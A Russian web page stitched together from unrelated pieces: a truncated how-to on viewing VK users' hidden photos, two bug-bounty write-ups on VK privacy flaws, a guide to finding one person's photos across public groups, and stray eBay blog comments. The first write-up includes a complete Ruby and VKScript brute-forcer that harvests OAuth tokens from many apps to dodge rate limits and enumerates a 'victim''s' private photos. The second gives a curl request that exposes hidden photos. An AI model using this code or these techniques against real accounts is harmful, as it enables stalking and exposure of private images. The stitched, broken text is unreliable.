Некоторые пользователи закрывают доступ к своим записям, альбомам, фотографиям, аудио-и видеозаписям. Для того чтобы посмотреть скрытые фото на странице ВК необходимо знать его идентификатор.

Чтобы совершать любые действия ВК, в том числе и поиск id, авторизуйтесь, используя логин или номер телефона и пароль.

Чтобы смотреть закрытые фото, скопируйте id пользователя из адресной строки браузера. Для этого откройте нужную страницу, и вы увидите цифры, стоящие после слова «id»:

Бывают ситуации, когда вместо id отображается ник пользователя. В таком случае, чтобы узнать идентификатор, нужно кликнуть по любой записи на стене и открыть адрес ссылки в браузере. Идентификатор можно увидеть между текстом «wall» и нижним подчеркиванием.

Если записей на стене нет, то можно открыть аватар человека, и в браузере найти идентификатор, следующий после слова «photo»

Бывают ситуации, когда пользователь полностью ограничил доступ к своим данным таким образом, что нельзя даже увеличить и просмотреть аватар. При этом вместо id на его странице также стоит ник. В таком случае необходимо обратиться к HTML коду. Для этого кликните правой кнопкой мыши и выберите вкладку «Посмотреть код страницы»

Скопируйте имя пользователя, запустите поиск с помощью комбинации клавиш «Ctrl+F и вставьте в соответствующее поле данные. Нажмите «ОК». Браузер покажет 1 и 2 совпадения. Если в первом совпадении id не указан, то перейдите ко второму.

Как посмотреть фотографии пользователя, зная id

Зная идентификатор, можно посмотреть закрытые фотографии, в том числе и те, на которых человека отметили другие пользователи. Для этого нужно сделать следующее:

  1. В адресной строке браузера пропишите текст:

tl;dr

Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут - все фото, загруженные на прошлой неделе, за 20 минут - прошлый месяц, за 2 часа - прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.


История началась с того, как мне в личку во «Вконтакте» кинули изображение. Обычно, если вещь важная, я её загружаю в облако, но в моём случае в этом не было необходимости, и я решил воспользоваться функцией закладок «Вконтакте».

Коротко про эту функциональность: в закладки добавляются все вещи, которые юзер лайкнул; также есть функция ручного добавления ссылки на пользователя и внутренней ссылки «ВКонтакте». Последний пункт мне показался очень интересным, так как после добавления ссылки на фото я увидел его превьюшку и текст с типом добавленной сущности:

При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.

В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео - это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.

Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:

Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!

Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.

Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX , которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.

Как работают фотографии в ВК

Как вы могли заменить, ссылка на фотографию photo52708106_359542386 состоит из двух частей: (id пользователя)_(какое-то непонятное число) . Как же формируется вторая часть?

Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом :

Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.

Перебираем фотографии

Можно было всё это добавлять руками через интерфейс или же написать скрипт, который добавляет по одной ссылке в закладки, но это было бы скучно и долго. Скорость перебора в таком случае составила бы 3 закладки в секунду, т.к. больше трех запросов в секунду на сервер «Вконтакте» отправлять нельзя .

Ускоряем перебор x25

Чтобы хоть немного обойти ограничение в 3 запроса, я решил воспользоваться методом execute . В одном вызове этого метода возможно 25 обращений к методам API.

Var start = parseInt(Args.start); var end = parseInt(Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; };
Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.

Ускоряем перебор x25 * количество параллельных запросов в секунду

Ограничение на количество запросов/сек действует на каждое приложение отдельно, а не на пользователя целиком. Так что ничего не мешает отправлять параллельно много запросов, но при этом используя в них токены от разных приложений.

Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read app = JSON.parse(response)["response"] app_ids << app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:

Но решил с этим не заморачиваться.

Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = { "Cookie" => cookie_header } @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens << extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus , который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { "today" => 366300000..366500000, "yesterday" => 366050000..366300000, "current_month" => 365000000..366500000, "last_month" => 360000000..365000000, "current_year" => 350000000..366500000, "last_year" => 320000000..350000000 } def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#{tokens}&code=#{vkscript(photo_id)}" encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript(photo_id) <<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented .

Окончательная версия скрипта выглядит так:

Require "nokogiri" require "open-uri" require "typhoeus" require "json" require "./standalone_apps_finder" require "./photos_bruteforcer" require "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new("p=;" + "l=;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.

Итоги

В целом, всё зависит от вашего интернет соединения и скорости прокси серверов, латенси серверов «Вконтакте», мощности процессора и множества других факторов. Опробовав скрипт выше на своем аккаунте, получил такие вот цифры (без учета времени, потраченного на получение токенов):

В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.

Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.

Сообщаем об уязвимости

Сначала репорт был отправлен службе поддержки, но после ответа вида «спасибо, как-нибудь пофиксим наверное…» и недели ожидания, мне что-то стало грустно. Большое спасибо Bo0oM , который помог связаться с разработчиками напрямую. После этого баги закрыли в течение нескольких часов, а через несколько дней на мой счёт администрация перевела вознаграждение в размере 10к

ВКонтакте существует множество пабликов, таких как: 90-60-90, 40 КГ, Спортивные девушки. В данных пабликах пользователи выкладывают фотографии своих фигур, фотографии «до» и «после» диеты / занятия спортом и прочее. Общее количество фотографий в альбомах этих групп порой превышает десятки тысяч. Выкладывая фотографии, многие не задумываются о последствиях, наивно пологая что если кинуть свою фотку в тысячи подобных, то никто ее и не найдет. Под катом описан процесс поиска фотографий конкретного пользователя в группах.

Постановка задачи
  1. uid - ID пользователя ВКонтакте
  2. gid - ID группы ВКонтакте

Необходимо:

  1. Найти все фотографии пользователя uid, опубликованных в группе gid
  2. Определить в каком альбоме находится каждая фотография
API ВКонтакте

В контакте отсутствует метод прямого получения фотографий, опубликованных конкретным пользователем в конкретной группе. Однако, добиться нужного результата можно по следующей схеме:
1. Получаем список альбомов, используя метод photos.getAlbums:

VK.api("photos.getAlbums", { gid: gid }, function(result){ if (result.response){ // Список альбомов лежит в массиве result.response // Идентификатор альбома находится в поле aid }else{ // Не удалось получить список альбомов } });

2. Получаем список фотографий, находящихся в альбоме (aid), используя метод photos.get:

VK.api("photos.get", { gid: gid, aid: aid }, function(result){ if (result.response){ // Список фотографий лежит в массиве result.response // ID владельца фотографии содержится в поле owner_id // ID фотографии содержится в поле pid }else{ // Не удалось получить список фотографий в альбоме } });

3. Получаем URL фотографии, используя метод photos.getById

VK.api("photos.getById", { photos: pids }, function(result){ if(result.response){ for(var i=0; i

Как ускорить поиск?

Перебирать все группы довольно длительный процесс и запускать его каждый раз при поиске фотографии конкретного человека дело не целесообразно. Для ускорения поиска достаточно проиндексировать все фотографии путем добавления индекса во внутреннюю таблицу.
В таблице достаточно содержать 3 поля:

  • uid - ID пользователя
  • gid - ID группы
  • pid - ID фотографии

После индексации групп, достаточно выполнить запрос

SELECT * FROM table WHERE uid = uid

Поиск фотографий друзей

Используя метод friends.get, можно получить список друзей, а затем произвести поиск по БД с целью получения фотографий друзей:

VK.api("friends.get", { user_id: uid }, function(result){ if(result.response){ // Далее производим поиск фотографий по ID друзей } });

Ссылки
  • Сайт для поиска фотографий: photovk.ru
  • Приложение ВКонтакте для поиска фотографий:

Сложно найти компьютерного пользователя, который бы не слышал или не был зарегистрирован в социальной сети ВКонтакте. Интернет-общение настолько захватило современных людей, что без них мы уже не представляем свой досуг, да что там, вообще свою жизнь. Имея собственную страничку в ВК, невольно замечаешь множество нюансов, которые таит в себе данный ресурс, однако не со всеми ними легко справиться. У многих юзеров все эти тонкости и премудрости вызывают сложности, поэтому без посторонней помощи здесь не обойтись.


Например, много вопросов поступает о том, как скрытые фотографии ВКонтакте. Но бывает так, что , а вам позарез нужно увидеть его снимки. Про этичную сторону этого намерения я рассказывать не буду, но предложу вам способ, который, возможно, и поможет.

Как скрыть фотографии

Прежде чем перейти непосредственно к теме данной статьи, мне хотелось бы напомнить вам, как можно скрыть свои фотографии. Думаю, что многим подобная информация будет интересной, а те, кто уже нею владеют, могут освежить свои знания. Итак, дело обстоит так:

  1. Зайдите в ВКонтакте, предварительно введя свои персональные данные для входа.
  2. В левой части окна отыщите строчку «Мои настройки», нажмите на нее.
  3. Далее откройте вкладку «Приватность».
  4. Там будет перечислены настройки, которые вы можете изменить на свое усмотрение. Здесь вы сможете также , . Среди них отыщите «Кто видит фотографии, на которых меня отметили». Рядышком есть выпадающий список, который позволяет выбрать круг людей, которым будут видны ваши фото. Так, вы можете выбрать «Только друзья» или вообще скрыть снимки ото всех, нажав «Только я».

После данных настроек изменения незамедлительно вступают в силу.

Как посмотреть скрытые фотографии

Теперь, собственно, к основному вопросу: как же посмотреть фото людей, которые ограничили доступ? Прямого ответа на этот вопрос нет, потому как администрация ВК предполагает, что чужую приватность следует уважать. Однако если ситуация такова, что вариантов нет, предлагаю вам воспользоваться таким вариантом.


Хочу обратить ваше внимание, что данный способ не является одобренным администрацией ВК, поэтому он может перестать работать в любо момент. Универсального рецепта нет, поэтому не стоит возлагать слишком много надежд. В любом случае, желаю удачи!

10 февраля 2016 в 15:23

Уязвимость ВКонтакте: доступ к превью фотографий из диалогов и скрытых альбомов любого пользователя

Коротко

Была обнаружена уязвимость в мобильной версии сайта vk.com. Она позволяла просматривать превью скрытых фотографий, в том числе фотографии из диалогов пользователей, плюс можно было получить информацию о пользователях лайкнувших это скрытое фото. На данный момент уязвимости уже нет - её устранили полгода назад. ВКонтакте выразили благодарность в размере 700$ (нет, не в голосах).

С чего всё начиналось

Во время сессии отвлекаешься на все, лишь бы не готовиться к экзаменам. Так и я, увидев о Bug Bounty программе от ВКонтакте на hackerone.com, вместо подготовки к экзаменам, взялся искать уязвимости. Почему-то сразу потянуло искать уязвимости, связанные с фотографиями скрытыми настройками приватности, и как оказалось - не зря.

Поиск уязвимости на полной версии сайта

Предположив, что id скрытой фотографии мне известен (о его поиске - ниже), я начал пробовать подставлять этот id во всевозможные запросы curl"ом - пробовал сохранять скрытые изображения в свой альбом, отмечать себя на них, лайкать, репостить и т.п. ничего не давало положительный результат, пока я не попробовал просто отправить скрытую фотографию себе на стену. Результат был странным - в консоли запрос возвращал корректный результат и на стене появлялся новый пост, но его содержимое было пустым. Как я не старался, на сервере пресекались все попытки отправить скрытое фото на стену - посты были пустыми.

Переход на мобильную версию

Затем, я вспомнил этот комментарий и решил попробовать сделать то же самое в мобильной версии сайта.

Отправляем фото на стену:

Curl "http://m.vk.com/wall53083705" -H "Cookie: remixsid=#remixsid" --data "act=post&hash=#hash&attach1_type=photo&attach1=idВладельцаФото_idСкрытогоФото" # id фотографии состоит из двух частей разделенных знаком подчеркивания idВладельцаФото_idСкрытогоФото
Этот запрос выполнился не корректно, но обновив страницу, я с удивлением обнаружил, что на форме отправки появилась прикрепленная уменьшенная копия фотографии.

Максимальный размер фотографии - 130x130, но этого достаточно, чтобы, например, распознать лица на фото. Попытки получить ссылку на полное фото ни к чему не привели. Видимо, после закрытия этой уязвимости, с мобильной версии сайта прямые ссылки на полный размер просто так уже не получить.

Перебор фотографий

Уязвимость найдена. Для эксплуатации найденной уязвимости нужно получить id атакуемой фотографии.

Id фотографии состоит из двух частей: photo12345_330000000 (idВладельца_idФото), вторая часть - растет от фотографии к фотографии, но это не обычный автоинкремент. Так как алгоритм выбора шага неизвестен, будем перебирать с шагом 1.

Для перебора воспользуемся методом api photos.delete . Данный метод для всех существующих фотографий (в том числе и скрытых) вернет error_code : 15. А для всех несуществующих id фотографий вернется единица.

Скорость перебора
Из этой статьи можно узнать, как быстро перебирать фотографии. Да, данные в ней не самые новые, но даже если учесть, что за год фотографий стало в два раза больше, время перебора все равно остается приемлемым.
чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно перебрать всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок

Воспользовавшись ускорениями перебора из указанной статьи, фотографии пользователя можно было бы перебрать:

за 1 минуту получить все ваши вчерашние фотографии, за 7 минут - все фото, загруженные на прошлой неделе, за 20 минут - прошлый месяц, за 2 часа - прошлый год.
Отсев открытых/скрытых
Получив ссылки на все (и скрытые и открытые) фотографии пользователя, можно выбрать только скрытые, попробовав получить информацию о фотографии с помощью метода photos.getById. Те фотографии, информация о которых не возвращается этим методом - являются скрытыми.

Информация о лайкнувших пользователях

Также можно было узнать пользователей, которые поставили лайки на скрытое фото. Метод likes.getList возвращал всех пользователей, которые добавили заданный объект в свой список мне нравится, даже если этот объект скрыт для пользователя запускающего этот метод.

Репорт на hackerone

Мой репорт был открыт в июне. Закрыли уязвимость через два с половиной месяца, ничего мне не сообщив. Еще через месяц я получил ответ что уязвимость подтверждена и закрыта. А еще через какое-то время получил и вознаграждение.

P.S.: тем, кто впервые пытается вывести вознаграждение с hackerone.com на новый аккаунт paypal - советую внимательно прочитать условия. Paypal при переводе средств, может без вашего согласия конвертнуть вознаграждение в валюту страны указанной в вашем профиле.

Эта статья также доступна на следующих языках: Тайский

  • Next

    Огромное Вам СПАСИБО за очень полезную информацию в статье. Очень понятно все изложено. Чувствуется, что проделана большая работа по анализу работы магазина eBay

    • Спасибо вам и другим постоянным читателям моего блога. Без вас у меня не было бы достаточной мотивации, чтобы посвящать много времени ведению этого сайта. У меня мозги так устроены: люблю копнуть вглубь, систематизировать разрозненные данные, пробовать то, что раньше до меня никто не делал, либо не смотрел под таким углом зрения. Жаль, что только нашим соотечественникам из-за кризиса в России отнюдь не до шоппинга на eBay. Покупают на Алиэкспрессе из Китая, так как там в разы дешевле товары (часто в ущерб качеству). Но онлайн-аукционы eBay, Amazon, ETSY легко дадут китайцам фору по ассортименту брендовых вещей, винтажных вещей, ручной работы и разных этнических товаров.

      • Next

        В ваших статьях ценно именно ваше личное отношение и анализ темы. Вы этот блог не бросайте, я сюда часто заглядываю. Нас таких много должно быть. Мне на эл. почту пришло недавно предложение о том, что научат торговать на Амазоне и eBay. И я вспомнила про ваши подробные статьи об этих торг. площ. Перечитала все заново и сделала вывод, что курсы- это лохотрон. Сама на eBay еще ничего не покупала. Я не из России , а из Казахстана (г. Алматы). Но нам тоже лишних трат пока не надо. Желаю вам удачи и берегите себя в азиатских краях.

  • Еще приятно, что попытки eBay по руссификации интерфейса для пользователей из России и стран СНГ, начали приносить плоды. Ведь подавляющая часть граждан стран бывшего СССР не сильна познаниями иностранных языков. Английский язык знают не более 5% населения. Среди молодежи — побольше. Поэтому хотя бы интерфейс на русском языке — это большая помощь для онлайн-шоппинга на этой торговой площадке. Ебей не пошел по пути китайского собрата Алиэкспресс, где совершается машинный (очень корявый и непонятный, местами вызывающий смех) перевод описания товаров. Надеюсь, что на более продвинутом этапе развития искусственного интеллекта станет реальностью качественный машинный перевод с любого языка на любой за считанные доли секунды. Пока имеем вот что (профиль одного из продавцов на ебей с русским интерфейсом, но англоязычным описанием):
    https://uploads.disquscdn.com/images/7a52c9a89108b922159a4fad35de0ab0bee0c8804b9731f56d8a1dc659655d60.png